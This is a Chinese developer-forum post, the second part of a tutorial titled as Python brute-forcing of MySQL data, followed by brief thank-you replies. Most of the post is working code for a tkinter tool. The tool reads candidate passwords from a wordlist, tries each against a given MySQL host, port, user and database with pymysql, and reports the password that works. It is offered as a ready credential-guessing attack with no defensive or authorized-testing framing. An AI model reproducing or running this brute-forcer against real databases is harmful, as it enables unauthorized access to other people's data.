建议使用以下浏览器,以获得最佳体验。 IE 9.0+以上版本 Chrome 31+ 谷歌浏览器 Firefox 30+ 火狐浏览器
请选择 进入手机版 | 继续访问电脑版
设置昵称

在此一键设置昵称,即可参与社区互动!

确定
我再想想
选择版块
标签
您还可以添加5个标签
  • 没有搜索到和“关键字”相关的标签
  • 云产品
  • 解决方案
  • 技术领域
  • 通用技术
  • 平台功能
取消

一只无脑程序员

发帖: 205粉丝: 16

级别 : 外部版主

发消息 + 关注

发表于2020年11月10日 07:40:47 111 3
直达本楼层的链接
楼主
显示全部楼层
[干货分享] Python暴力破解Mysql数据的示例(下)

    line = f.readline()
    if content is not False:
      break
    else:
      num += 1
      print("正在执行破解,密码:" + password)
  f.close()
  end_time = time.time()
  count_time = end_time - start_time
  if content is not False:
    tkinter.messagebox.showinfo('破解成功', '密码:' + password + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))
  else:
    tkinter.messagebox.showinfo('破解失败', '结果:未找到密码' + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))
 
 
# 数据库连接测试
def find_pass(host, port, database, name, password):
  try:
    con = pymysql.connect(
      # 数据库地址
      host='%s' % host,
      # 端口
      port=int(port),
      # 用户名
      user='%s' % name,
      # 密码
      password='%s' % password,
      # 数据库名称
      database='%s' % database,
      # 编码设置
      charset='utf8'
    )
    con.close()
    return password # 连接成功返回 密码
  except:
    return False
 
 
# 按钮
submit = tkinter.Button(win, text="开始", bg="#005ca9", fg="#FFF", width=20, height=1, command=button_call_back)
submit.place(x=130, y=170)
 
# 进入消息循环
win.mainloop()


举报
分享

分享文章到朋友圈

分享文章到微博

追梦柠檬男

发帖: 145粉丝: 2

级别 : 外部版主

发消息 + 关注

发表于2020年11月10日 07:49:52
直达本楼层的链接
沙发
显示全部楼层

6666

点赞 评论 引用 举报

lte网络工程师

发帖: 164粉丝: 9

级别 : 外部版主

发消息 + 关注

发表于2020年11月10日 10:34:27
直达本楼层的链接
板凳
显示全部楼层

感谢分享

点赞 评论 引用 举报

我闹我的BUG还没写完

发帖: 116粉丝: 2

级别 : 外部版主

发消息 + 关注

发表于2020年11月21日 23:56:47
直达本楼层的链接
地板
显示全部楼层

感谢分享~~

点赞 评论 引用 举报

游客

富文本
Markdown
您需要登录后才可以回帖 登录 | 立即注册